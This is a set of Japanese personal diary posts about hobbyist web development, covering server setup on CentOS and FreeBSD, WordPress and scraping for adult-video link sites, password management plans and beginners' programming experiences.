TwitterBootStrap   http://twitter.github.com/bootstrap/  (Twitterっぽい今時な感じのデザインが簡単に使える)

を使うことに。

でも、これだとまさにTwitterそのまんまっぽかってので、

http://bootswatch.com/ (きれいなデザインテンプレートがあるサイト

も使うことに。デザインについてはこれだけ。

無理はしないことに。



■大体できたら、あとはセキュリティ

セキュリティ大事自分サイトでは一応、登録制なのでフリーメールアドレスなどを預かる。これは流出させたら困るし、なによりユーザー様が安心して使えないなんてだめなので。

これにはかなり注意したつもりです。

まず基本的なことは 『体系的に学ぶ 安全ウェブアプリケーションの作りかた』  http://www.amazon.co.jp/dp/4797361190/

勉強

本番環境に公開する前には グーグル先生が公開している skipfishというツールでチェックをしたり、

Dos攻撃対策に、

http://up-point-server.info/?p=54

などに書いてある

mod_dosdetector などを利用。

これははてなさんが公開しているものです。この場を借りて感謝します。ありがとうございます

あとはSSHへのブルートフォースを防ぐために、DenyHostというツールを利用するなどした。



それからバックアップ

クラウドサービスを利用しているので大丈夫だとは思うのですが、一応rsyncコマンドバックアップを定期的にとることに。

サーバー上の別の場所Gzipで保存し、それを自宅サーバーのCentOSで保存するという形式です。深夜にcronで自動的に実行しています

参考サイトは、

http://mukaer.com/archives/2012/03/14/vpscentos/

です。


パフォーマンス向上のために少しだけ

はじめはサーバーapacheだけだったのですが、今は画像ファイルなどはNginxというサーバーを使うのが良いそうなので、Nginxを使いました。

あとはPHPの中間キャッシュを利用するAPCなども利用することに。


このへんについては、

http://bren.jp/blog/%E3%81%95%E3%81%8F%E3%82%89vps%EF%BC%9Anginx-apache-%E6%A7%8B%E6%88%90%E3%81%AE%E8%A8%AD%E5%AE%9A%E6%96%B9%E6%B3%95/

このような解説記事がたくさんあったので、参考にさせていただきました。

調子にのって、最期グーグルアドセンスも貼ってみました。




■ようやく完成。

で、なんとか完成しました。

いちおう妄想していた機能は実装できたかと思います

製作期間は勉強期間なども含めて、大体9ヶ月くらいです。

使ってみた感想や、ダメ出しなど頂ければ狂喜乱舞します。よろしくお願い致します。









モチベーションを維持するためにやったこと。

あっさりと書きましたが、実際は失敗の連続でやる気が萎えてばっかりでした。

疲れて帰ってきて、なにもやる気の起きない時もありました。


そういう時は、とにかくサポートページのQ&Aの1文でも良いから書いてみるとか、とにかくパソコンエディターだけ立ちあげてみるとか、していました。

ものすごーく覇気のない目でキーボード打ち続けていましたが、それでもなんとか完成することができました。惰性だろうとなんだろうと、少しずつは進むのだとわかりました。

SNS作ってみたわかったこと。

やはり1から完全自作をするのは無謀だった。でも、プログラムをやったことのない素人でも約一年頑張ればそれなりのSNSもどきを作ることができた。

これも先人たちの作ってくれたフレームワークや様々なツール、そして参考書などのおかげ。

私のようなアホでも頭の良い人の力を借りればなんとかなりました。ありがとうございます

そしてプログラムは一人でも出来るので、私のように非コミュでも楽しめる素晴らしい趣味である

現在

今はRubyに夢中です。くり返し処理がすごくきれいにかけるので素敵な言語だと思っています。あと、javascript面白いので毎日いじくって遊んでいますPHPももちろん触っています

非コミュあいかわらずですが、プログラム楽しいので前より幸せです。


仕様した技術など一覧

サーバー さくらVPS4Gプランを使用しています

Apache,Nginx,nodejsを利用しています

データベース mongoDBMySQLを使っています

フレームワーク CakePHP,socket.io

使用言語 PHP,Javascript

できたもの http://tag-chat.net

2012-12-21

年末だしパスワード管理などについて、するべきことを洗い出してみた

まだ行動はしていないのだけれど、今週末ぐらいには作業にとりかかる予定。以下はやろうとしていることなどのメモ

やりたいこと:

 - パスワードは最低でもランダムに生成された 20 文字ぐらい。できれば 30 文字ぐらいのパスワード安心したい

 - iPhone をなくしても大丈夫、という状態を維持しておきたい

 - メール アドレス管理も、この際見通しをよくしておきたい

おしながき:

 メールアドレス管理

 電話 (iPhone) の管理

 パスワード管理

==以下本文==

メールアドレス管理:

 - 独自ドメインを取る: 良い機会なので全然使っていない、さくらレンタルサーバーとの契約を解約してしまおう。sshリモートホストが使えるというのは数年前なら良かったかも知れないが、最近全然使った記憶が無い (AWS もあるだろうが、私の生活環境が大きく変わったのが影響しているかも…)。独自ドメインは既に持っているので、移管ということになるのだろう。

 - 最近ドメイン名だけ取得して、ドメイン以下にあるメール アドレスを使った送受信まで代行業者が行なっていたりするらしい。今の私にはこれで十分だと思う。代行業者を信用するかどうかという問題は残るだろうけれど、お金払っているのだし、信頼するしかないような…。

 - アドレスはすべて独自ドメイン管理: メインのアドレスと、使用しているサービスごとに作成したアドレスを使い分ける。そのサービスを使い終わったら、アドレスのものを抹消する。普段は各サービスからメインのアドレス転送 (というか、コピー?) されるようにしておく。

 - 今までは個人で使っている GMail アカウント職場パソコンからログインしていたのだけれど、職場 (のパソコンからアクセスする) 用に別の GMail アカウントを取得しても良いと思う。素早く読まなければならない長文メールiPhone から転送して読めるだろう。

パスワード管理:

 - 1Password を使う: サービスごとに異なる (20 文字以上の) パスワードを覚えるというのは現実的ではないので、このソフトウェア (サービス) に頼ることにする。iPhone への同期も行うので、Dropbox を使った同期を行うことになるだろう (暗号には AES-128 が使われているらしい)。

  (1) 最初パスワードを変更したいサービスリストアップする。

  (2) 1Passwordパスワード生成機能により (20 文字以上の) パスワードを生成する。

  (3) iPhone からすべてのサービスログインできることを確認する。

 - 1Passwordデータ死ぬことも考えておく: パスワード対応するサービス情報を紙に印刷して、その紙を (物理的な) 金庫にしまっておく。単に平文でパスワードを書くのではなく、パズルのような構成にしたほうが良いかも。パターンが分かれば意味の無い「あがき」でしか無いのだが、物理的な金庫が盗まれ/開けられても時間稼ぎぐらいにはなるだろう。

 - 職場では 1Password の使用が許可されていないっぽいので、職場と自宅で使うサービスをどのように両立するかを、これから考える必要がある。

電話 (iPhone) の管理:

 - キーボードによるパスコードを使用する (4 桁の数値ではちょっと不安…)。

 - GMail の 2 ステップ認証を使えるように番号を登録しておく。

 - Find my iPhone への登録はしておく。

 - 上で作成したメールアドレスには AppleiCloud 用に作成したアドレスも含まれている。iPhone を紛失した際の避難訓練をしておく。

==本文終わり==

ツッコミどころは色々あると思うのだけれど、今私が考えられるのはこんなところだろうか。少なくとも (すべてできれば) 少しは安定した精神状態で年を越せそうな気がする。

2012-10-26

iphoneで見れて、毎日いっぱい更新されるのエロ動画サイトを作った。【サイト構築詳細メモ

はじめに

なんちゃってプログラマーやってます

「みんなの役に立つサイトを作って、一発大きく儲けたい!」と、

思い続けて、早10年(泣)。。

なかなか画期的アイデアって出てきません。。

とりあえず、エロサイトを作るのってすごく勉強なる?楽しい?らしいので、

誰にも利用されない「へぼツール」作るより必ず誰かの為になるなぁと考え、

エロサイト作りました。(保守不要で完全自動化)

iphoneで見れて、毎日10記事絶対更新

できるだけ、誰でもわかるように、詳細を書いていますので、

これを見るだけで、ノンプログラマーの方でも、

同様のサイトは簡単に立ち上げることができちゃうと思います

つくったサイト

http://iphone-xvideos.info/

サイト名:iphone-xvideos エロ動画H (仮)

デザインデフォルトのまま(そのうち修正しまーす)

作成期間:40時間ぐらい…

iphoneでも見やすくしています

※記事は毎日10更新予定です。つまり毎日このサイトだけ見に行けば困らないってことです。

きっかサイト

http://anond.hatelabo.jp/20101219185436

http://anond.hatelabo.jp/20101203150748

http://d.hatena.ne.jp/inouetakuya/20120331/1333192327

http://anond.hatelabo.jp/20120318122617

http://anond.hatelabo.jp/20120914214121

http://anond.hatelabo.jp/20110804021353

http://anond.hatelabo.jp/20120926165533

レンサバ

saasesのVPS OsukiniサーバーLT メモリ512MB 月450円! アダルトOK

CentOS 64bitを選択。(メモリを食うだけなので、特に用がなければ、32bitにしよう!)

↑一番安いプランしか契約できなかった…

※どこにも書いてないけど、2週間以内なら取り消しできます

契約時、webmin&mysqlの選択は必須にしておいたほうがいいです。私は間違えて、webmin無しにしてしまった。。

から、再インストール(初期化)すれば、再選択することができるようです。。

申し込み後、たったの30分で接続できるようになりました。

ドメイン

iphone-xvideos.info

バリュードメインで取得。280円!安い。

DNSVPSIPに変更。

不要サービスを止める

/sbin/chkconfig auditd off

/sbin/chkconfig autofs off

/sbin/chkconfig avahi-daemon off

/sbin/chkconfig bluetooth off

/sbin/chkconfig cups off

/sbin/chkconfig firstboot off

/sbin/chkconfig gpm off

/sbin/chkconfig haldaemon off

/sbin/chkconfig hidd off

/sbin/chkconfig isdn off

/sbin/chkconfig kudzu off

/sbin/chkconfig lvm2-monitor off

/sbin/chkconfig mcstrans off

/sbin/chkconfig mdmonitor off

/sbin/chkconfig messagebus off

/sbin/chkconfig netfs off

/sbin/chkconfig nfslock off

/sbin/chkconfig pcscd off

/sbin/chkconfig portmap off

/sbin/chkconfig rawdevices off

/sbin/chkconfig restorecond off

/sbin/chkconfig rpcgssd off

/sbin/chkconfig rpcidmapd off

/sbin/chkconfig smartd off

/sbin/chkconfig xfs off

※190MBが150MBぐらいになります

SSHサーバ設定

$ su root

FTP接続できるようにする。

http://support.saases.jp/index.php?action=artikel&cat=63&id=312&artlang=ja

バーチャルホストの設定

# vi /etc/httpd/conf/httpd.conf

NameVirtualHost *:80 ←これを探して、コメントアウトを削除。その下に以下を設定。

<VirtualHost *:80>

DocumentRoot "/home/ユーザーID/iphone-xvideos.info"

ServerName iphone-xvideos.info

<Directory "/home/ユーザーID/iphone-xvideos.info">

order deny,allow

allow from All

Options FollowSymLinks

AllowOverride All

</Directory>

</VirtualHost>

apache再起動

# /etc/rc.d/init.d/httpd restart

httpd: Could not reliably determine the server's fully qualified domain name, using...」

再起動時に上記のエラーがでた。

その時はこちらで解決⇒http://d.hatena.ne.jp/uriyuri/20100511/1273575287

で、このままだとIPアドレスでもアクセスできてしまうので、以下もやっておく。

http://fedorasrv.com/memo/log/29.shtml

mkdir /home/ユーザーID/iphone-xvideos.info

chown ユーザーID /home/ユーザーID/iphone-xvideos.info

/home/ユーザーID/以下はpermission errorとなりアクセスできないので、権限を変える。←いいのかな?

chmod 755 /home/ユーザーID/

CentOSAPCインストール

http://blog.verygoodtown.com/2010/02/centos-apc-install-how-to/

# pecl install apc

↑これを実行した際に、「error: expected specifier-qualifier-list before 'pcre'」なんちゃらっていうエラーがでたので、以下を実行。

yum install pcre-devel

再度実行して、無事インストールできた。

# pecl install apc

# vi /etc/php.ini

extension=apc.so ←これを一番最後に追記

APCの設定】

vi /etc/php.d/apc.ini

extension=apc.so

[APC]

apc.enabled = 1

apc.shm_size = 64 ←適当。。

apc.gc_ttl = 3600 ←適当。。

apc.ttl = 3600 ←適当。。

/etc/init.d/httpd restart

  • viの基礎講座】-----

/ ←検索

n ←次の検索文字へ

i ←編集モード開始

Esc ←編集モード終了

]] ←最後尾に移動

:q! ←保存せずに終了

shift押しながらzz ←保存

--------------------------

apache再起動

# /etc/rc.d/init.d/httpd restart

phpinfoの画面でapcの項目があるか確認

vi /home/ユーザーID/iphone-xvideos.info/index.php

phpinfo();

?>

apacheの負荷対策

http://tanaka.sakura.ad.jp/2011/05/centos-linux-apache-php-perl-mysql-lamp.html

↑これを参考に適当に変更してみた

MaxClients 256 ←これを40に

MaxRequestsPerChild 4000 ←これを1000

このサーバは、512MBしかいかもっと小さくしたほうがいいのかも。。

# ab -c 10 -n 100 http://iphone-xvideos.info/

【変更前】

Requests per second: 40.01 [#/sec] (mean)

【変更後】

Requests per second: 137.57 [#/sec] (mean) ←1発目

Requests per second: 552.79 [#/sec] (mean) ←2発目以降(キャッシュ後)

wordpressがらみ

http://ja.wordpress.org/

最新版をやってみるとエラーが発生。

サーバーPHP バージョンは 5.1.6 ですが WordPress 3.4.2 は 5.2.4 以上のみでご利用になれます。」

phpmysqlバージョンアップはやっかいそうなので、

3.1系を選択する。。

http://ja.wordpress.org/releases/

※↑結局、後日phpmysqlバージョンアップをやりました。

ソースをUP

DBを作る

http://自分サーバIP/phpMyAdmin/

ホームの「新規データベース作成する」と書いてある所の下にある、

DB名⇒wp、照合順序⇒utf8_unicode_ci

wp-config.php

を修正する。

プラグイン

WP-DBManager

WP Super Cache

WP to Twitter ←まだ設定してない

WPtouch ←/wp-content/plugins/wptouch/themes/core/core-header.php をちょこっと変更すればiphoneでxvideo再生ができる。

○人気記事一覧

http://the-fool.me/wordpress/plugins/wordpress-popular-posts.html

テーマデフォルトのまま。。

XML-RPC自動投稿

設定⇒投稿設定⇒Atom 投稿プロトコルXML-RPCにチェック

もう1個負荷確認

https://loadimpact.com/

キャッシュが効いていて問題ないことを確認。

クローラーを作る

wikipediaから取ってきた女優名をカテゴリテーブル(wp_terms)に突っ込む。(5,260人でした。)

↑これは月に2回更新。cronで動かすことにした。

googleブログ検索(24時間以内のもの)に女優名をつっこんで、

出てきたサイト情報を取得すればOK。

(とりあえず、引退した人の動画は少ないだろうと考え、現役2,762人分のxvideosを取得してみた。処理時間8時間、192件取得できた。)

双方とも、スクレイピングを使えば簡単に取得できます

http://www.kaasan.info/archives/1457

念のため、巡回するごとに、sleep10秒してます

動画URLを取得したら、削除されていないか調べて、OKだったら投稿

PHPからRPC投稿するやり方は、

http://www.multiburst.net/sometime-php/2009/04/newpost-with-wordpress-xmlrpc-api/

↑ここらへんを参考に

http://pear.php.net/package/PEAR/download

pear自体はここにあるので、「XMLフォルダのみをUP。

だいたい、30分で10記事取得できることがわかったので、

毎日深夜に10記事取得するようにする。

【cron設定】

$ crontab -e

00 04 * * * /bin/sh /home/ユーザーID/iphone-xvideos.info/insert_X.sh >/dev/null 2>&1

00 03 1,15 * * /bin/sh /home/ユーザーID/iphone-xvideos.info/insert_XXX.sh >/dev/null 2>&1

http://miya0.dyndns.org/pc/settei/crontab.html

----------------------------------------------------

1日何件の更新とするか?10件ぐらい?

↑旬な情報が取れないが、とりあえず。。

前日のterm_idを記録して、

次の日はそれ以降のデータを取得する。

次のterm_id存在しなかったら、1からやる。

----------------------------------------------------

今後の追加機能予定

jqueryお気に入り作成cookieを使う。(PCのみ?)

☆好きな女優を登録しておけば、記事の更新情報メールで通知。

デザイン修正。。

感想

すぐできるかと思いましたが、結構時間かかりました。

実際、なんとなく勉強になった気もするし、楽しく作業できました。

皆さんもぜひ。毎日が少し充実しますよ。

まったくアクセス無くても、自分用にとても良いものができたと思っているので満足です。

もし繋がりにくくなったりしたら、

別のレンサバに変更しますー。

サイトオープン後のあれこれは、

随時こちらに追記していきますね。

最後まで読んで頂いてありがとうございます

2012/11/8 追記

サイトオープンから10日ほど過ぎたので状況をお知らせします。

はてぶは全くだめだった。。

ページビュー1000/日

(日々増加しているが、検索エンジンからくるようになってもまだこんだけ。。)

メモリは問題なし。512MB中ピークでも300MBぐらいしか使ってない。

30分に一回メモリ監視を仕込んだ。

# vi /usr/local/bin/memrep.sh

date >>$1

free >>$1

echo >>$1

# chmod 744 /usr/local/bin/memrep.sh

本日テスト的にDMM広告を張ってみました。。←すぐ消した。。

また、後日お知らせしますね。

2012/12/3 追記

1か月経ったので。。

topスライダー付けてみました。

ページビュー2500/日

自動更新なのに、きっちりアクセスは日々増えて続けていますエロは強い。

アクセス少ないので、負荷は全く問題なし。

Swapも全く使ってない。

忍者AdMax貼ってみたけど、1日20円とかで、まったく駄目。。

レンサバ代にはなりそうだけど。。なんか良い広告いかな。。

2012-05-01

これからプログラムを始めようと思ってる人へ

はじめに僕はプログラムが苦手です。

ほんとに苦手です。

やりたいことにどうしても必要から仕方なく組んでるだけで

誰かがやってくれるんであれば絶対自分プログラムしようなんて思いません。

寝る時もあーやってこうやったらこうなるとか考えてしまって睡眠不足になるし

自分で向いてないなとよく思います

そもそもプログラムに一番最初に触れたのは

9年くらい前のことです。

はじめてのプログラムperlでした。

仕事プログラムを使う必要があったので仕方なくparlの本を買ってきてシコシコやってました。

おなじみの「 hello world 」とかをモニターに表示させたりしました。

ものすごく簡単に理解してもらうためにこういう感じ書いてるんでしょうけど

ぶっちゃけ、本やネットの通り学習していくと大半の人が前半で飽きるか挫折します。

だって、全く興味がないことをしてるんですものね。

最後掲示板の作り方とか解説してる本とかありますけど

掲示板作ってどうするの?

一人で投稿して一人でレスするの?

とか思ってしまます

自分に興味のないことをやるのって絶対続かないし覚えないんですよね!

僕もperl学習したあとJavaを覚えようかなと本を買ってきて一通りやってみたんですけど

書かれてあるとおりに電卓とか作っても全く興味ないし作りたくもなかったので

全然頭に入ってきませんでした。

しかし、これがエロい物だったらどうでしょう

多分、すごい勢いでいろんなことを覚えていくと思います!(男ならw)

最近、そんなことをエロいWEBサービスを作りながら考えていました。

エロサービスを作っていると楽しいんです!

もうほんとに楽しくて、夢中になって自家発電・・いえ、プログラムしていました。

本屋に行ってプログラム関係の棚に

楽しいエロサイトの作り方」

「はじめてのエロサイト

「3日でできるエロ

エロで覚えるphp

phpアダルトサイトを作ろう」

「できるエロサイト

エロデータベースチューニング

こんな感じのタイトルの本があったら僕だったら間違いなく買います

そして、ものすごごいスピード学習しますw

そんなわけでこれからプログラムを始めようと思っている人はエロい物をプログラムで作ってみてはいかがでしょうか?

そして、僕が今回作ったエロサービスエロ動画検索ランキングサイト

http://adultmovie-clip.com/ を作るのに必要だった知識について書いてみますので参考にしてみて下さい。


【今回作った物はどんなWEBサービスか?】

アダルト動画キーワード検索できるようにして一覧表示させ

お気に入り動画ログインなしでブックマークできるようにする。

人気ブログランキングのように外部サイトを登録できるようにし逆アクセスランキング機能をつける。

必要な知識】

html

html学習

http://www.tohoho-web.com/wwwbeg.htm

今回はhtml5でやってみた。

http://www.html5-memo.com/

http://webdesignrecipes.com/semantic-html5-with-outline/

jQuery

http://higashizm.sakura.ne.jp/jquery_first/

http://webdesignrecipes.com/jquery-beginners-guide-for-web-design/

クリップブックマーク機能に利用

jquery.cookie.jsを使う。

http://helog.jp/javascript-2/jquery-javascript-2/1406/

動画IDcookieに保存しておく。

php

phpの基礎からできるからおすすめでかつデータベース勉強もできる

これを覚えればエロ検索サイト作れる。

http://php5.seesaa.net/

エロデータ作成スクレイピングエロ動画データの収集)により行う。

htmlSQLでさくっとエロデータを収集

http://bowz.info/1916

エロデータは色んな動画サイトから収集する。

例えば

http://example.com/?name=女優

みたいに女優名前を変更していくプログラムなんかを書いて

該当ページをhtmlSQLで取得する。

そこから必要データを抜き出す。

必要な最低限のデータ項目は

動画タイトル

動画URL

動画サムネイルURL


登録ユーザーログイン機能

http://tenderfeel.xsrv.jp/php/628/

画像アップロード

http://plog.pya.jp/program/php/lesson11/sample01.html

MySQL

phpのところで紹介したサイトと同じ人が作ってるっぽい。

非常に分かりやすいのでここで学習するとさらにいい。

http://mysqlweb.net/

google アナリティクス

ランキング部に利用、APIがあるのでリファラーサイトアクセス数カウント

http://kota.oue.me/php%E3%81%A7google-analytics-api%E3%82%92%E3%81%84%E3%81%98%E3%82%8B%E3%80%82/

https://developers.google.com/analytics/resources/articles/gdataCommonQueries?hl=ja

■負荷対策

APCインストール

http://www.doyouphp.jp/tips/tips_apc.shtml

mod_evasive

DOS対策

http://www.makizou.com/archives/1341

mod_expires

これがないとアダルトサイト死ねる。

http://www.ahref.org/tech/server/apacche/389.html

mysql クエリキャッシュの設定

http://thinkit.co.jp/free/article/0707/2/6/

サーバー関係

centos

VPSを借りてこのサイトの通りやればWEBサーバーが構築できる。

できればメモリは1Gほしい。

無修正じゃなければKAGOYAのVPSでいいんではないでしょうか。

外部に公開しないのであればローカルでシコシコして下さい。

http://centossrv.com/

レンタルサーバーを借りるのであればあまり必要じゃないか

SSH・・・クライアント(Windows)からLinuxサーバーリモート操作する

apache・・・WEBサーバーチューニング関係はググりまくって下さい。

mysql・・・データベース 全文検索を利用する場合、一旦mysqlは削除してsennaインストールインストールする順序に気をつける http://anond.hatelabo.jp/20110804021353

Tripwire・・・ファイル改竄検知システム導入

chkrootkit・・・rootkit検知ツール導入

Clam AntiVirus・・・アンチウィルスソフト導入

iptables・・・ファイアウォール構築

SSL・・・通信の暗号

全文検索

senna

http://qwik.jp/tritonn/

アフィリエイト広告

経験上、サーバー代にもならないと思うので今のところ掲載しません。

以上です。

今回このサービスを作ることになったきっかけは

3月くらいから心身ともに疲れきっていたのでリフレッシュする意味で作ってみました。

エロサービスは以前にも何度か作っていてその時は非常に楽しくてわくわくしながらプログラムしていたので

それを思い出して、じゃあ作ってみようという感じです。

エロいの作ってるとストレス解消になります

いろんな意味でw

初めてのプログラムエログラムってなかなかないと思うし

学生就職活動で、WEB系の会社面接した時なんかにプログラムでどんなの作ったことある?と聞かれて

エロサイト

とか言っちゃうと「こいつできる」と思われるかもしれませんので(あくまで僕がそう思うだけですw)

これからプログラムをやろうと思ってる人はエロサービス作りで覚えてみて下さいw

きっとあっという間にできるようになります

さて最後になりますがこんなの作ってみたんでよかったら利用してみて下さい。

アダルト動画クリップ

http://adultmovie-clip.com/

ではでは!よりエロライフを!

動画検索は前にも日記を書いてるので興味のある方は参考にどうぞ。

http://anond.hatelabo.jp/20110804021353

2012-03-18

WEBサイト発注してみた。

アニメゲームキャラクター情報をまとめてるサイトがないから作りたいなぁって

思ってたんだけどhtmlは初歩しかからないしプログラミングもできないので構想するだけで作れなかった。

ゼロから4ヶ月でWEBサービスをリリースした人の記事を見つけて「自分にもできるかな!」なんて思い挑戦してみたけど理解できず挫折・・・orz

WEBサービスを個人で作ってる人達が羨ましいです。

それでもWEBサイトを作りたかったので制作会社発注してみようと思い立った。

ただのキャラクターデータベースだけではつまらないのでコミュニティ要素なども付けて

ネットで見つけた制作会社見積もってもらうと下記のようになった。


合計1,483,125円


以前、SNSウェブカレ」のサイト制作費が1千万円で安く仕上がった(潰れたけど・・・)という話があったか

なんとなく3~400万くらいかかるんじゃないかなと不安だったんだけど予想より安い見積もりだったので、

このくらいの金額ならなんとか出せる!ということで制作してもらうことにしました。

本当は何社かに見積もってもらって比較しようと思ったんだけど面倒だったのでそのまま制作をお願いすることにした。

最初はもう少し高かったけど機能の簡略化とオープンソースライブラリを使用してもらう事で費用を抑えてもらった。)

去年の10月の頭くらいから打ち合わせを始めて第1フェーズワイヤーフレーム作成仕様策定をして第2フェーズhtmlシステム開発

移ったのは中旬だったかな?その段階で前金で4割の580,650円を支払いました。

制作会社には3回くらい打ち合せに行って、あとはメールでやり取りしていました。

当初は12月中にリリースを予定してたんだけど、なんだかんだで伸びてあらかた出来上がったのが2月中旬くらい。

見積もりがちょっと甘かったんじゃないかなぁって思うw

ちなみに僕はヒッキー(どれくらいヒッキーかというと外出は3日に1回くらい)なので制作してもらっている間は

家でずっとサイトに必要なアニメデータを収集していました。

↓作ったサイト

http://neoapo.com/


以下、サイト設計担当してくれた人の製作記。

サーバ設定

サーバさくらVPS 8Gを使用。CentOS5の64bit

設定した項目は以下のとおり

HDDが3つあって、普通に/var/wwwコンテンツを入れていくとHDDが溢れそうだったので、容量の大きいものを使うように工夫したりなど。

メモリもそこそこ積んであるサーバなので、mysqlphpapcに多めにメモリを割り当てる設定をした。

データベース

本当はmyISMやInnoDBエンジンでLIKE "%word%"のようなクエリーを投げて十分なパフォーマンスが出ればいいんですけどね。

それはムリなので、全文検索エンジンとしてgroongaを使用。

groongaを使用するために先にインストールしたのはこんな感じ

この時点でいざ、groonga!と思ってgroongaをインストールしようとすると競合を起こして入らない。

epel、remiレポジトリからインストールしてあったmysqlと衝突してたのでyum remove "mysql*"で

一旦mysqlを消して、groongaレポジトリからmysqlとgroongaをインストール

するとgroongaは入ったものの、今度はphpから使おうとしてもphp-mysqlパッケージが入らない。

あちらを立てればこちらが立たぬ状態で本当にこまった。

どうしようもないので、やりたくないけどyum-downloadonlyを使ってパッケージに含まれる設定やら、soファイルなどを直接とってきて入れた。

mysql.so、mysqli.so、pdo_mysql.soを/usr/lib64/php/modules/にコピーしたり、設定をコピーしたり、少しずついじりながら、なんとか動いてくれた。

状態としてはmysqlとgroongaはgroongaレポジトリからphpと本来php-mysqlパッケージインストールされるmysql.soは手動で置いたことになる。

シェルから直接mysqlログインするときはgroongaレポジトリのやつを、phpからmysqlを呼ぶときは手動で置いたmysql.soを使うことになっている。

ちょっと心境的にしんどい。別の方法があったかもしれないけど、調べても分からず結局1日くらいかかった。

アクセスカウンタ

アクセスは、サイト全体(トータル)、サイト全体(当日分)、各コンテンツ日別、各コンテンツ週間、各コンテンツトータルのアクセスをとるようにしています

高速だとうわさのredisアクセス回数を残しています

検討した候補はmemcaced、apcmysqlredis、fileあたりなんですが、

memcacheはサーバリスタートするとデータが消える。

apcapacheリスタートするとデータが消える。

fileは候補にあがったものの、メンドウ、、どうせなら楽な既製品がいい。と思って候補からしました。

残るはmysqlredisだけど、redisが高速って聞いていたのでredisにしてみました。

最初全部redisに入れて、集計した結果をmysqlに入れるつもりでしたが、週間ランキングなどはINSERT INTO .. DUPLICATE ONを使って、

アクセスした週の月曜日00:00:00のタイムスタンプコンテンツIDキーにしたレコードを作ればそのまま週間ランキングになるなー。と思ってmysqlを使っています

コンテンツのトータルアクセス数コンテンツレコードpvという項目をつくってUPDATE table SET pv=pv+1 WHERE id = ? のようにしました。

最初難しく考えていたけど、こうすることによって大分楽になったなーといった感じ。

まとめ

全文検索エンジンや対話検索、ここにこのリンクがあればなぁ。。という所に何とかしてリンクを作るのが本当に大変だった。

使い勝手を良くするために、ここにこの機能をなど、さくっと思いつくのは簡単でもそれを実現するために、あーでもない、こーでもないと

DBプログラムとにらめっこしながら「あ!こうすればできる!でもそうすると今度はこっちが・・・」みたいなのがあったりでとても大変だった。

そんなに機能がないような感じがしても、このサイトだけでテーブルが20個あって、途中本当に死にそうだった。

2011-10-28

IPv6だけでFreeBSDセットアップ

IPoEでIPv6が手軽に手に入るようになった

サーバIPv6アドレスだけつけてIPv6だけでどこまで出来るかやってみる

  • FreeBSD8.2-RELEASE
  • Address/Router
    • RAで入手
  • resolv.conf
    • DHCPv6か手動でNTTのを指定

SSHで入ってsquidgoogle,youtubeなどipv6対応サイトならこれで全く問題ない

2011-08-11

*[プログラミング]ズブの素人プログラミング勉強して大規模サイト

日記途中だけど緊急事態><、一番下まで呼んで誰か助けてください><

今日から夏休みが始まったのでプログラミング勉強しようと思う。

3日坊主にならないようにがんばる。

  • 何故日記をつけるか?

去年もプログラミングマスターになろうとしたが失敗。

去年の二の舞にならないようにモチベを維持するために日記を書く。

これに影響された。師匠と呼ぼう。

プログラミングができたらかっこいい!

サークル友達もいなくさびしい夏休み有意義にしようとするため

都内の大学に通う2年生。

前述のとおりサークルもやってない、友達もいない、典型的インドアオタク

でも顔はイケメン

プログラミングは3年前にJavascriptHTMLネトゲでの戦いを整形するために覚えた程度。ほとんど忘れてる。

C言語大学で習ったが「苦しんで覚えるC言語」というサイトにのっている範囲しかやってない。

一応プログラミングの知識は少しはある。

やっぱり、目標はあったほうがいい。

うーん、やっぱり完全に一致みたいな情報網羅サイトを作ってみようと思う。

色々な技術が手に入りそうだし。

色々な言語も学べそう

どんなサイトにするか?大規模情報サイト
学ぶ言語HTML,PHP,Ruby,Javascript,CSS

とりあえずプログラミングにはエディタアップロードするやつが必要なので色々いれてみた。

エディタ
Netbeans重い、すごく重い
phpエディタphpしか編集できない
terapad色分けが出来ない
K2Editorこれが一番最強。でもphp対応してない
HIDEMARU4000YENwin7じゃ使えなかった。
アップするやつ
FileZilla使いづらい、糞
ALFTPこれが一番しっくりきた

というわけで色々悩んだ結果、基本K2Editor、php編集Netbeans,アップロードALFTPにした。

phphtmlrubyjavascript対応してて色分けも出来るwin7で動くエディタないのが残念

実は1ヶ月前にプログラミング勉強しようと思ってサーバーは借りてた。

試験があったので泣く泣く今日からはじめる事に。

ググったり、2chに質問したりして悩んで悩んでロリポップのチカッパプランを借りる事にした。

http://lolipop.jp/service/plan-chicappa/

初期費用 ¥1,575
料金(6ヶ月) ¥3,150
(1ヶ月あたり) ¥525
合計金額 ¥4,725

学生自分にとってはめちゃくちゃ高い。

しかしながら無料レンタルさばより色々といじれて、なにより「お金はもう払った、使わないともったいない」という意識を持つ事でだらけないで出来ると思う。

まず師匠日記をみてみる。HTMLCSSからはじめたと書いてあるが、多分これからはじめると飽きる。

なのでWeb情報自動で集めてくれる(これをスクレイピングという)BOTを作ろうと思う。

日記を読むとMechaniseというのを使ってるらしい。

グーグルでMechaniseで検索

そうするとRuby jamというもので動いているものらしく、Ruby jamRubyで動いている。

Rubyは鯖にはいっているがどうやらjamのほうははいっていないらしくMechaniseもはいっていない。ということで

  • 助けて

ロリポップの解説ページをみてPuTTyていうのをいれてSSH操作ってやつをしてた。

http://d.hatna.ne.jp/taramonera/20100601/1275388515

このページをみながらやってたら

% vi ~/.cshrc

これを実行して

setenv RUBYLIB /home/アカウント名/lib

setenv GEM_HOME /home/アカウント名/lib/rubygems

これを書いて終わろうとしたけど終わり方がわからない><

:wqで保存終了らしいんだけど、入力したところで終われない><

エンタしまくってもだめ><

教えて得ろい人><

2011-08-04

独学のプログラムエロ動画検索作ってみた

【お知らせ】2011/09/07

新しいエロWEBサービス作りました

http://d.hatena.ne.jp/uniqueweb/20110906/1315285545

プログラムは全く得意じゃないけれど最近よく見かけるようになったエロ動画検索自分でも作ってみたくて頑張ってみました。

近年、インターネットの普及によりエロ動画が自宅で簡単に見れるという素晴らしい時代になりました。

自分が若い頃はインターネットなんてものはなくエロビデオが主流でドキドキしながらレンタルビデオ屋に行き、可愛い女の子レジにいない隙を見計らってお兄さんにパッケージを伏せて空箱を渡しビデオを借りたものでした。

お兄さんにビデオ空箱を渡そうとした時に可愛い子がレジに戻ってきて焦って渡すのをやめてものすごく変な動きをしながらエロビコーナーに引き返していくなんてことも多々ありましたw

僕のお気に入りといえば「白石ひとみ」や「あいだもも」といった女優でよく借りてました。エロビを借りるということがものすごく恥ずかしい時代?年頃?でカモフラージュ普通ビデオと一緒に借りるということもしていました。それはそれは大変な思いでオナニーしてたんです

しかも、ビデオデッキ自体が貴重な時代でリビングに一台しかないのが当たり前でした。

